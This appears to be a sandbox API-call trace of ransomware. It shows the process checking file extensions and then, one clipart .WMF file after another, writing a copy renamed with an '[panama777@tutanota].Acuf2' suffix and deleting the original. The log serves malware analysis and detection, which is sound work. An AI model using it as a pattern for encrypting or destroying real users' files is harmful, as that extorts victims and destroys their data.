	[0257.845] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.845] lstrlenW (lpString=".ppt") returned 4
	[0257.845] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63
	[0257.845] lstrlenW (lpString=".zip") returned 4
	[0257.845] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.845] lstrlenW (lpString=".rar") returned 4
	[0257.845] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.845] lstrlenW (lpString=".bz2") returned 4
	[0257.845] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.845] lstrlenW (lpString=".7z") returned 3
	[0257.845] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63
	[0257.845] lstrlenW (lpString=".dbf") returned 4
	[0257.845] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63
	[0257.845] lstrlenW (lpString=".1cd") returned 4
	[0257.845] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63
	[0257.845] lstrlenW (lpString=".jpg") returned 4
	[0257.845] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63
	[0257.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63
	[0257.846] lstrlenW (lpString=".doc") returned 4
	[0257.846] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.846] lstrlenW (lpString=".docx") returned 5
	[0257.846] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.846] lstrlenW (lpString=".pdf") returned 4
	[0257.846] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.846] lstrlenW (lpString=".xls") returned 4
	[0257.846] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.846] lstrlenW (lpString=".xlsx") returned 5
	[0257.846] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.846] lstrlenW (lpString=".ppt") returned 4
	[0257.846] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63
	[0257.846] lstrlenW (lpString=".zip") returned 4
	[0257.846] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.846] lstrlenW (lpString=".rar") returned 4
	[0257.846] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.846] lstrlenW (lpString=".bz2") returned 4
	[0257.846] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.846] lstrlenW (lpString=".7z") returned 3
	[0257.846] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63
	[0257.846] lstrlenW (lpString=".dbf") returned 4
	[0257.846] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63
	[0257.846] lstrlenW (lpString=".1cd") returned 4
	[0257.846] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63
	[0257.846] lstrlenW (lpString=".jpg") returned 4
	[0257.846] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.847] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0257.847] lstrlenW (lpString="BL00526_.WMF") returned 12
	[0257.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0257.847] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=27552) returned 1
	[0257.847] CloseHandle (hObject=0x344) returned 1
	[0257.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf")) returned 0x20
	[0257.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0257.847] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.847] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0257.848] GetLastError () returned 0x0
	[0257.848] ReadFile (in: hFile=0x344, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x6ba0, lpOverlapped=0x0) returned 1
	[0257.899] WriteFile (in: hFile=0x320, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x6bb0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x6bb0, lpOverlapped=0x0) returned 1
	[0257.900] ReadFile (in: hFile=0x344, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0257.900] WriteFile (in: hFile=0x320, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0257.900] SetEndOfFile (hFile=0x320) returned 1
	[0257.900] CloseHandle (hObject=0x320) returned 1
	[0257.900] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.900] SetEndOfFile (hFile=0x344) returned 1
	[0257.905] CloseHandle (hObject=0x344) returned 1
	[0257.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.905] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf")) returned 1
	[0257.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63
	[0257.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63
	[0257.905] lstrlenW (lpString=".doc") returned 4
	[0257.906] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.906] lstrlenW (lpString=".docx") returned 5
	[0257.906] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.906] lstrlenW (lpString=".pdf") returned 4
	[0257.906] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.906] lstrlenW (lpString=".xls") returned 4
	[0257.906] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.906] lstrlenW (lpString=".xlsx") returned 5
	[0257.906] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.906] lstrlenW (lpString=".ppt") returned 4
	[0257.906] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63
	[0257.906] lstrlenW (lpString=".zip") returned 4
	[0257.906] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.906] lstrlenW (lpString=".rar") returned 4
	[0257.906] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.906] lstrlenW (lpString=".bz2") returned 4
	[0257.906] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.906] lstrlenW (lpString=".7z") returned 3
	[0257.906] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63
	[0257.906] lstrlenW (lpString=".dbf") returned 4
	[0257.906] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63
	[0257.906] lstrlenW (lpString=".1cd") returned 4
	[0257.906] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63
	[0257.906] lstrlenW (lpString=".jpg") returned 4
	[0257.906] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63
	[0257.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63
	[0257.907] lstrlenW (lpString=".doc") returned 4
	[0257.907] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.907] lstrlenW (lpString=".docx") returned 5
	[0257.907] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.907] lstrlenW (lpString=".pdf") returned 4
	[0257.907] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.907] lstrlenW (lpString=".xls") returned 4
	[0257.907] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.907] lstrlenW (lpString=".xlsx") returned 5
	[0257.907] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.907] lstrlenW (lpString=".ppt") returned 4
	[0257.907] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63
	[0257.907] lstrlenW (lpString=".zip") returned 4
	[0257.907] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.907] lstrlenW (lpString=".rar") returned 4
	[0257.907] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.907] lstrlenW (lpString=".bz2") returned 4
	[0257.907] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.907] lstrlenW (lpString=".7z") returned 3
	[0257.907] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63
	[0257.907] lstrlenW (lpString=".dbf") returned 4
	[0257.907] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63
	[0257.907] lstrlenW (lpString=".1cd") returned 4
	[0257.907] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63
	[0257.907] lstrlenW (lpString=".jpg") returned 4
	[0257.907] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.908] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0257.908] lstrlenW (lpString="BL00923_.WMF") returned 12
	[0257.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0257.914] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=6256) returned 1
	[0257.914] CloseHandle (hObject=0x358) returned 1
	[0257.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf")) returned 0x20
	[0257.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0257.921] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.921] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0257.921] GetLastError () returned 0x0
	[0257.921] ReadFile (in: hFile=0x344, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x1870, lpOverlapped=0x0) returned 1
	[0257.923] WriteFile (in: hFile=0x320, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1880, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x1880, lpOverlapped=0x0) returned 1
	[0257.924] ReadFile (in: hFile=0x344, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0257.924] WriteFile (in: hFile=0x320, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0257.924] SetEndOfFile (hFile=0x320) returned 1
	[0257.924] CloseHandle (hObject=0x320) returned 1
	[0257.924] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.924] SetEndOfFile (hFile=0x344) returned 1
	[0257.926] CloseHandle (hObject=0x344) returned 1
	[0257.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.926] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf")) returned 1
	[0257.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63
	[0257.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63
	[0257.927] lstrlenW (lpString=".doc") returned 4
	[0257.927] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.927] lstrlenW (lpString=".docx") returned 5
	[0257.927] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.927] lstrlenW (lpString=".pdf") returned 4
	[0257.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.927] lstrlenW (lpString=".xls") returned 4
	[0257.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.927] lstrlenW (lpString=".xlsx") returned 5
	[0257.927] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.927] lstrlenW (lpString=".ppt") returned 4
	[0257.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63
	[0257.927] lstrlenW (lpString=".zip") returned 4
	[0257.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.927] lstrlenW (lpString=".rar") returned 4
	[0257.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.927] lstrlenW (lpString=".bz2") returned 4
	[0257.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.927] lstrlenW (lpString=".7z") returned 3
	[0257.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63
	[0257.927] lstrlenW (lpString=".dbf") returned 4
	[0257.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63
	[0257.927] lstrlenW (lpString=".1cd") returned 4
	[0257.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63
	[0257.928] lstrlenW (lpString=".jpg") returned 4
	[0257.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63
	[0257.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63
	[0257.928] lstrlenW (lpString=".doc") returned 4
	[0257.928] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.928] lstrlenW (lpString=".docx") returned 5
	[0257.928] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.928] lstrlenW (lpString=".pdf") returned 4
	[0257.928] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.928] lstrlenW (lpString=".xls") returned 4
	[0257.928] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.928] lstrlenW (lpString=".xlsx") returned 5
	[0257.928] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.928] lstrlenW (lpString=".ppt") returned 4
	[0257.928] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63
	[0257.928] lstrlenW (lpString=".zip") returned 4
	[0257.928] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.928] lstrlenW (lpString=".rar") returned 4
	[0257.928] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.928] lstrlenW (lpString=".bz2") returned 4
	[0257.928] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.928] lstrlenW (lpString=".7z") returned 3
	[0257.928] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63
	[0257.929] lstrlenW (lpString=".dbf") returned 4
	[0257.929] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63
	[0257.929] lstrlenW (lpString=".1cd") returned 4
	[0257.929] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63
	[0257.929] lstrlenW (lpString=".jpg") returned 4
	[0257.929] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.929] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0257.929] lstrlenW (lpString="BL00932_.WMF") returned 12
	[0257.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0257.929] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=19476) returned 1
	[0257.929] CloseHandle (hObject=0x344) returned 1
	[0257.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf")) returned 0x20
	[0257.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0257.930] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.930] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0257.930] GetLastError () returned 0x0
	[0257.930] ReadFile (in: hFile=0x344, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x4c14, lpOverlapped=0x0) returned 1
	[0257.932] WriteFile (in: hFile=0x320, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x4c20, lpOverlapped=0x0) returned 1
	[0257.933] ReadFile (in: hFile=0x344, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0257.933] WriteFile (in: hFile=0x320, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0257.934] SetEndOfFile (hFile=0x320) returned 1
	[0257.934] CloseHandle (hObject=0x320) returned 1
	[0257.934] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.934] SetEndOfFile (hFile=0x344) returned 1
	[0257.936] CloseHandle (hObject=0x344) returned 1
	[0257.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.936] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf")) returned 1
	[0257.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63
	[0257.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63
	[0257.937] lstrlenW (lpString=".doc") returned 4
	[0257.937] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.937] lstrlenW (lpString=".docx") returned 5
	[0257.937] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.937] lstrlenW (lpString=".pdf") returned 4
	[0257.937] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.937] lstrlenW (lpString=".xls") returned 4
	[0257.937] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.937] lstrlenW (lpString=".xlsx") returned 5
	[0257.937] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.937] lstrlenW (lpString=".ppt") returned 4
	[0257.937] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63
